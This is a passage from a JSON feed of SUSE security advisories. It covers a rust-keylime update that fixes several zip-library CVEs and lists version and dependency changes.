Accept any RSA key size for payload encryption\n * Bump version to 0.2.10\n * keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols\n","status":"published","published":"2026-10-29T08:53:34Z","modified":"2026-10-31T18:00:03.940330945Z","updated_at":"2026-11-02T15:54:05.838224Z"},{"id":"SUSE-SU-2026:4931-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n\nChanges for rust-keylime:\n\n- Update to version 0.2.10+12:\n * log Agent UUID at push agent startup\n * Limit actix-web workers\n * Fix clippy needless_late_init warnings\n * Unwrap OCTET STRING wrapped EK certificates\n * build(deps): bump rand from 0.9.4 to 0.10.1\n * build(deps): bump glob from 0.3.3 to 0.3.4\n * build(deps): bump reqwest from 0.13.3 to 0.13.4\n * Check shutdown marker inside ml_extend loop\n * Fix clippy useless_borrows_in_formatting warnings\n * build(deps): bump tokio from 1.52.2 to 1.53.1\n * Fix payload key upgrade regression by falling back to mTLS key\n * Accept any RSA key size for payload encryption\n * Bump version to 0.2.10\n * keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols\n","status":"published","published":"2026-10-29T08:53:48Z","modified":"2026-10-31T18:00:04.923788339Z","updated_at":"2026-11-02T15:54:05.838224Z"}]}}
